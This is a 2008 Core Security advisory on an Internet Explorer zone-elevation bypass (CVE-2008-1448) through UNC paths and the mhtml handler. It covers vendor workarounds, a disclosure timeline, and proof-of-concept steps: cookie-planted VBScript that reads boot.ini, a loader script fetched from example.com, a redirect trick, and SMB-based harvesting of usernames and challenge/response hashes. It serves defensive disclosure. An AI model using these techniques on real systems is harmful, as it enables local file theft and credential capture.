Internet Explorer Zone Elevation Restrictions Bypass and Security Zone Restrictions Bypass

Advisory ID Internal
CORE-2008-0103

Advisory Information

Title: Internet Explorer Zone Elevation Restrictions Bypass and Security Zone Restrictions Bypass
Advisory ID: CORE-2008-0103
Date published: 2008-08-13
Date of last update: 2008-08-12
Vendors contacted: Microsoft
Release mode: Coordinated release

 

Vulnerability Information

Class: Zone Elevation Restrictions Bypass and Security Zone Restrictions Bypass
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 30585
CVE Name: CVE-2008-1448

 

Vulnerability Description

Internet Explorer introduces the concept of URL Security Zones, which basically define a set of privileges for web applications (such as, for example, accessing and/or modifying the local computer files) depending on their level of trustworthiness.

Issues have been found in the way that security policies are applied when a URI is specified in the UNC form: \\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE

* When a remote site attempts to access a local resource, Internet Explorer will fail to enforce the Zone Elevation restrictions.

* When browsing a remote site, Internet Explorer will not apply the right Security Zone permissions, allowing a site belonging to a less secure zone to be treated as one belonging to a more privileged zone.

Vulnerable packages

  • Internet Explorer 5 under Windows 2000/2003/XP
  • Internet Explorer 6 under Windows 2000/2003/XP
  • Internet Explorer 7 under Windows 2000/2003/XP
  • Internet Explorer 7 under Windows Vista (when protected mode is turned off)

Non-vulnerable packages

  • This vulnerability is addressed by Microsoft Security Bulletin MS08-048 

Vendor Information, Solutions and Workarounds

Microsoft has issued Security Bulletin MS08-048 to address this vulnerability. The bulletin includes workarounds and mitigating factors. 

Workarounds communicated by the vendor include:

* Locking down the MHTML protocol handler. Below are the required registry changes.

 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_PROTOCOL_LOCKDOWN] "explorer.exe"=dword:00000001 "iexplore.exe"=dword:00000001 "*"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols\1] "mhtml"="mhtml" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols\2] "mhtml"="mhtml" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols\3] "mhtml"="mhtml" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols\4] "mhtml"="mhtml"


* Disabling the MHTML protocol handler. To disable the protocol handler, follow these steps:

1. Click Start and then click Run. Enter regedit.exe in the text box and click OK. 2. Navigate to HKEY_CLASSES_ROOT\CLSID\{05300401-BCBC-11d0-85E3-00C04FD85AB4}. 3. Right click {05300401-BCBC-11d0-85E3-00C04FD85AB4} and select Permissions. 4. Click Advanced. 5. Deselect Allow inheritable permissions from the parent to propagate 6. Click Remove, and then click OK. Click Yes and OK on subsequent screens.

 

Credits

This vulnerability was discovered and researched by Jorge Luis Alvarez Medina from Core Security Technologies.

Technical Description / Proof of Concept Code

Internet Explorer is the most popular Internet browser in the world as it is an integrated component of every Windows installation. It introduces the concept of URL Security Zones, as explained in [1], which basically define a set of privileges for web applications (such as accessing and modifying the local computer files) depending on their level of trustworthiness, namely:

  • Local Intranet Zone: for content located on an organization's intranet. Because the servers and information are within an organization's firewall, it is reasonable to assign a higher level of trust to content on the intranet.
     
  • Trusted Sites Zone: for content located on Web sites that are considered more reputable or trustworthy than other sites on the Internet. Assigning a higher level of trust to these sites minimizes the number of related authentication requests. The user adds the URLs of trusted Web sites to this zone.
     
  • Internet Zone: for Web sites on the Internet that do not belong to another zone. This default setting causes Internet Explorer to prompt the user whenever potentially unsafe content is about to be downloaded. Web sites that are not mapped into other zones automatically fall into this zone.
     
  • Restricted Sites Zone: used for Web sites that contain content that can cause (or have previously caused) problems when downloaded. This zone causes Internet Explorer to alert users when potentially-unsafe content is about to be downloaded, or to prevent the content from downloading. The user adds the URLs of these un-trusted Web sites to this zone.
     
  • Local Machine Zone: the Local Machine zone is an implicit zone for content that exists on the local computer. The content found on the user's computer (except for content that Internet Explorer caches on the local system) is treated with a high level of trust.

THE PROBLEM

There are issues in the manner that security policies are applied when a URI is specified in the UNC form:

\\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE
  • When a remote site attempts to access a local resource, Internet Explorer will fail to enforce the Zone Elevation restrictions.
  • When browsing a remote site, Internet Explorer will fail to apply the right Security Zone permissions, allowing a site belonging to a less secure zone to be treated as one belonging to a more privileged zone.

TECHNICAL BACKGROUND

The Proof of Concepts below exploit the aforementioned issue by taking advantage of other features of Internet Explorer. Keep in mind that:

  • Besides the common web content types (such as plain http, image, audio and video) the browser is also able to render other standardized content types, among them, MIME HTML or mhtml. And, overriding the way IE chooses to render a file (described in [2]) presents a way to enforce the rendering type as MIME HTML by using the protocol handler for mhtml in the following manner:
mhtml:[PATH_TO_RESOURCE]


The resource content begins with the MIME HTML headers describing their contents, as shown below.

 From: <wherever the contents where from> Subject: <whatever> Date: <whatever> MIME-Version: 1.0 Content-Type: multipart/related; type="text/html"; boundary="----=_NextPart_000_0000_01C8457B.CB7FBF60" X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.3028 [FILE CONTENTS]


But, in fact, the only header lines required for the file being rendered as mhtml, are:

 Content-Type: <file content type> [FILE CONTENTS]


Cookies are stored in independent text files (one for each domain) inside the cookies folder (usually located at \Documents and settings\USERNAME\Cookies in all Windows NT based implementations). The cookie file name is structured in the following manner:

 [email protected][X]

where X is an integer like 1,2,3, depending on the Internet Explorer choice.

The cookies folder is hardcoded inside the Explorer engine as a restricted site. You can check it by looking at the status bar when browsing this folder with Windows Explorer.

When requesting a resource, for example, in the src attribute of an HTML img tag, Internet Explorer allows the usage of smb URIs. So, when IE attempts to render the following line:

 <img src="file://IP_OR_HOSTNAME/PATH_TO_RESOURCE">


It will attempt to establish an SMB connection against the IP_OR_HOSTNAME machine, using the port 445. If this communication is allowed, the username and a ciphered challenge/response will be sent to the IP_OR_HOSTNAME specified.

Internet Explorer reacts different when a requested resource is directly accessed or when it's found after a redirection. If a page hosted in domain A makes a reference to a resource located at domain B, the user will be prompted to download this file from the B domain. But if the resource is requested, for example, in the following way:

 <img src=A/resource.pl>


And the resource.pl contents are something like:

 Status: 302 Found Location: B/realResource


Internet Explorer will download the B/realResource file transparently. Of course, in both cases, the security policies assigned to each domain will be applied.

ATTACK DESCRIPTION

In order to reproduce the vulnerability, follow these steps:

Create a file called evilCookie.txt in your cookies folder with the following content:

Content-Type: text/html <HTML> <BODY> This text is <H1>HTML code</H1>inside your cookie <SCRIPT language="VBScript"> With CreateObject("MSXML2.XMLHTTP") .open "GET", "\\127.0.0.1\C$\boot.ini", False .send a = .ResponseText End With MsgBox a </SCRIPT> </BODY> </HTML>


Point your IE to the following URI, replacing USERNAME with the currently logged in user name.

 mhtml:\\127.0.0.1\C$\Documents%20and%20Settings\USERNAME\Cookies\evilCookie.txt


The contents of your boot.ini file will be displayed in a message box (or could be programmatically sent to a remote web site).

Note that if you reference this file in a different way than using the UNC, the privileged VB script code (which requires local machine zone permissions to execute) won't execute. For example, accessing the file through the following link:

 mhtml:C:\Documents%20and%20Settings\USERNAME\Cookies\evilCookie.txt


will result in the file being opened and rendered, but the privileged code will not be executed. That's because the folder containing the file evilCookie.txt belongs to the Restricted Sites Zone.

PROOF OF CONCEPT CODE

In this PoC, with nothing but a click on a link to an evil page, the contents of the boot.ini file (located at the system root in all Windows NT based implementations) will be read using VBScript.

In order to do so, local machine zone permissions are required. So, we need a way to put our code inside the client's machine. We will do so by storing our code in a cookie.

Let's assume the victim user points his browser to the following URL:

 http://example.com/evilPage


and this page sets their cookies with the following contents:

 Set-Cookie: Content-Type: text/html=; path=/; expires=Monday, 26-Nov-2008 12:30:00 GMT Set-Cookie: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">=<HTML><BODY>This text is <H1>HTML code</H1>inside your cookie <SCRIPT language="VBScript" src="http://example.com/evilScript.vbs"></SCRIPT></BODY></HTML><!--; path=/; expires=Monday, 26-Nov-2008 12:30:00 GMT


This will result in a cookie file like:

 \Documents and settings\USERNAME\Cookies\[email protected][X].txt


with the following contents:

 Content-Type: text/html example.com/ 1536 3499433472 29901218 484464800 29901200 * <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><BODY>This text is <H1>HTML code</H1>inside your cookie <SCRIPT language="VBScript" src="http://example.com/evilScript.vbs"></SCRIPT></BODY></HTML><!— 1536 3499433472 29901218 484464800 29901200 *


The evilScript.vbs file is the one that will do the privileged job:

 With CreateObject("MSXML2.XMLHTTP") .open "GET", "\\127.0.0.1\C$\boot.ini", False .send a = .ResponseText End With MsgBox a


With this, we now have a MIME HTML-like formatted file stored in the client's cookies folder.

Now, by somehow guessing the victim's USERNAME, we can make a reference to that file as follows:

 mhtml:file://Documents and Settings/USERNAME/Cookies/[email protected][X].txt


However, as the cookies folder belongs to the restricted sites zone, we will not be able to take advantage of the privileged code referred inside the cookie (that in the evilScript.vbs file).

Now if we point to the file exploiting the exposed vulnerability:

 mhtml:\\127.0.0.1\C$\Documents and Settings\USERNAME\Cookies\[email protected][X].txt


in spite the fact that the cookie's folder is hardcoded inside the Restricted Security Zone, the file contents will be rendered as if they belong to the local Intranet Security Zone, and the local boot.ini file contents will be displayed in a message box.

Minor issues

As this file is at a different server than example, IE will prompt the user to accept a download of the file from 127.0.0.1. In order to avoid such prompting, we will point the file through a redirection:

 http://example.com/redirectToCookie


And the redirectToCookie file would respond with:

 Status: 302 Found Content-type: text/html Location: mhtml:\\127.0.0.1\C$\Documents and Settings\USERNAME\Cookies\[email protected][X].txt


To get the correct username, we can take advantage of other mentioned characteristics of Internet Explorer. As the browser is able to make SMB requests against a webserver, if we include inside the main page (the one which sets the cookies) some references to non-existent resources in the example.com site, the client will attempt to establish an SMB connection against it, from where the username (among other useful data, such as the ciphered challenge/response) can be extracted. With this, we can dynamically create a custom redirectToCookie file with the correct information. Of course, the victim's machine must be able to establish outgoing connections to the port 445 to do so.

PoC files

This proof of concept uses three files to work:

  • PoC.pl: a PERL script which will set the cookies and shot the SMB requests.
  • snifSMB.pl: this script must be running in the example server. It will be listening for SMB requests, and when they occur, it will create a set of redirectToCookie files, attempting to cover all possibilities.
  • PoC.htm: this page will attempt to load the cookies through the dynamically generated redirect files.
  • evilScript.vbs: a script file referenced by the webpage created inside the cookie, containing the code to be executed.
     
  • Configure a web server supporting PERL scripts.
  • Take all of these files and put them together into the web server.
  • Run snifSMB.pl passing your domain as parameter in a shell, for example:
 perl snifSMB.pl example.com

 

Modify PoC.pl to make it set the cookie referencing the script example.com/evilScript.vbs to your own domain/path. Also replace the variable $cookieDomain in snifSMB.pl with the name of the domain from where the cookie is set (for example set "evil" for evil.com).

From another computer, point your IE to yoursite/PoC.pl. After five seconds, it will automatically redirect to yoursite/PoC.htm and your boot.ini file should be displayed.

Report Timeline

  • 2008-01-09: Core Security notifies Microsoft that a vulnerability has been found in Internet Explorer. Core sends an advisory draft with technical details and PoC files, and announces its initial plan to publish the content on February 11th.
  • 2008-01-09: Vendor acknowledges notification.
  • 2008-01-09: Vendor states that it's currently investigating the reported issue, and asks Core what it plans to publish.
  • 2008-01-10: Core responds it plans to publish the submitted advisory, and tells the vendor that it's willing to discuss the publication date.
  • 2008-01-11: Vendor states that it's investigating the issue and trying to identify which platforms are affected. Vendor was unable to reproduce the issue on Vista using IE7.
  • 2008-01-11: Core responds that the problem was tested under XP SP2, Windows 2000 and 2003, and that Vista seems vulnerable only if Protected Mode under IE7 is OFF.
  • 2008-01-11: Vendor reports that it is working through all the affected platforms, and that it will forward the details of the complete list.
  • 2008-01-21: Vendor announces that the investigation has been completed. The platforms identified as affected are Internet Explorer 5.01 Service Pack 4, Internet Explorer 6 on W2k3, Internet Explorer 6 on Windows XP Service Pack2, Internet Explorer 7 on Windows XP service Pack 2. The issue is scheduled to be addressed in the April 08 Internet Explorer Security bulletin. Vendor asks Core to delay the publication of the advisory until a fix is released.
  • 2008-01-22: Core responds that it intends to publish the advisory as "coordinated release" when fixed versions are made available. However external circumstances (e.g. the bug being exploited in the wild) may force an earlier release. Core confirms that it plans to release the Proof of Concept code sent to Microsoft with the advisory draft.
  • 2008-02-29: Core asks for updated information concerning this issue.
  • 2008-03-04: Vendor states that there are issues discovered with the package that the Outlook Express team is investigating that could impact the release date.
  • 2008-03-04: Core awaits updated information.
  • 2008-03-11: Vendor communicates that an April release is not looking likely.
  • 2008-03-13: Core informs the vendor that the Beta release of IE 8 is also vulnerable, and asks for a clarification about the mention of the Outlook Express team.
  • 2008-03-13: Vendor responds that the group that manages Outlook Express/Windows Mail is responsible for addressing this issue and owns the code. Vendor states that it is not likely that the issue will be addressed in April, and that the next ship date would be June.
  • 2008-04-01: Core requests detailed information about the nature of the fix, and why it is taking so long. In particular, Core inquires about the root cause of the problem; any potential workarounds/mitigation mechanisms; whether there is a way to exploit this problem with Protected Mode turned ON on Vista; and why May is not a possible ship date.
  • 2008-04-01: Vendor responds that the issue is planned to be addressed in a June security update; that locking down the mhtml protocol and disabling the handler is a possible workaround; that the involved product team performs in-depth testing every two months and that given the impact of security issues they prefer to take an in-depth approach (this is why it is not possible to release the fix in May).
  • 2008-05-21: Vendor informs Core that the issue will be addressed in a June Outlook Express bulletin.
  • 2008-05-21: Core requests a clarification about the technical rationale for releasing the information as an Outlook Express bulletin and the corresponding patches associated to Outlook Express rather than Internet Explorer.
  • 2008-05-21: Vendor responds that the code where the root cause was found is owned and shipped by the Outlook Express/Windows Mail team; and that Internet Explorer is just the attack vector.
  • 2008-05-21: Core requests further technical clarification, since categorizing this issue as an "Outlook Express" problem may be misleading. Core requests a technical assessment of the concept that Internet Explorer is just an attack vector in this case.
  • 2008-06-02: Vendor informs that the necessary packages for Windows 2000 were not built; and that this delay will push the release plan back to July.
  • 2008-06-02: Core again requests technical information about the nature and root cause of the bug. Given that Microsoft has decided not to release the readily available patches for Windows XP, 2003 and Vista, Core decides to re-schedule the publication of its security advisory CORE-2008-0103 to June 11th, 2008.
  • 2008-06-02: Vendor responds that the issue is in mhtml which is a component of Outlook/Windows mail; that Internet Explorer is a vector and not where the issue lies; that Microsoft only releases a fix when all platforms have been addressed, since the current fix is missing for Windows 2000, releasing it would put out customers on that platform at risk.
  • 2008-06-02: Core replies that the vendor's response is still missing a technical description and sound analysis of the problem. In particular, mhtml is one component used in the reported attack scenario, but the fact that scripting code can be inserted in a cookie file and the fact that a redirect to an UNC path pointing at the localhost filesystem makes IE transition to the Local Security Zone may or may not be a security weakness and may or may not be related to mhtml. Core also states that by delaying publication of the currently available patches to users that could fix the problem immediately, the vendor is penalizing them and maintaining them at risk unnecessarily.
  • 2008-06-03: Vendor requests details of the claim that the issue can be reproduced without OE/Mail being installed. Vendor proposes to arrange a conference call to discuss the technical issue.
  • 2008-06-03: Core responds that in fact the issue can be reproduced after OE has been un-installed; that Core prefers to continue the discussion by email, to keep the advisories on the loop and to properly document communications with the vendor. Core requests a response to the proposal that Microsoft releases the patches that are ready in the June update and the remaining ones for Windows 2000 in July.
  • 2008-06-04: Vendor states that the product team has verified the mhtml protocol (inetcomm.dll) as the root cause, and has verified this by deleting inetcomm.dll, which has resulted in being unable to reproduce the issue. Due to the mhtml protocol being owned by Outlook/Windows Mail, they are responsible for the fix. Vendor states that it will not release the current patches and expose their Windows 2000 customers, unless it sees active exploitation of this issue.
  • 2008-06-05: Core responds that a better strategy to protect customers is to release the official patches that are readily available and to provide specific guidance and workarounds for use on vulnerable systems for which there are no official patches ready; and that disabling the mhtml protocol handler seems to be the most effective workaround.
  • 2008-07-08: Vendor requests a PGP key to send a fix to be tested by Core.
  • 2008-07-08: Core provides the key. Core states that Microsoft did not release patches for any of platforms vulnerable to this problem, although the July patch release date has already passed (which was the previously planned date for publication indicated by MSRC on their email from June 2nd). Given the criticality of the bug, the multiple disconnections in the communications and Microsoft's repeated failure to meet its own patch release dates, Core is considering to proceed with the publication of the advisory under "user release" mode.
  • 2008-07-08: Vendor communicates that the development team had recently completed developing the fix; that although July was originally indicated as a possible release window, the development team concluded that extra testing would be necessary, preventing a July release; vendor reports that if further issues are identified during the test process, that may impact the tentative August release date.
  • 2008-07-08: Core discusses the fact that passing from the Restricted Sites zone or Internet zone to Intranet Zone or LMZ using a UNC path should not be allowed if the same behavior is not allowed for the non-UNC equivalent URI.
  • 2008-08-08: Core requests updated information about the release date of fixes, in particular if fixes will be issued in the August security update.
  • 2008-08-12: Microsoft Security Bulletin MS08-048 is released.
  • 2008-08-13: Advisory CORE-2008-0103 is published.

References

[1] http://msdn2.microsoft.com/en-us/library/ms537183.aspx

[2] http://msdn2.microsoft.com/en-us/library/ms775147.aspx


About CoreLabs
CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs publishes security advisories, technical papers, project information and shared software tools for public use at: www.coresecurity.com/core-labs.

About Core Security 
Core Security is the leader in comprehensive security testing software solutions that IT executives rely on to expose vulnerabilities, measure operational risk and assure security effectiveness. The company's CORE IMPACT product family offers a comprehensive approach to assessing the security of network systems, endpoint systems, email users and web applications against complex threats. All CORE IMPACT security testing solutions are backed by trusted vulnerability research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. www.coresecurity.com.

Disclaimer

The contents of this advisory are copyright (c) 2008 Core Security and (c) 2008 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.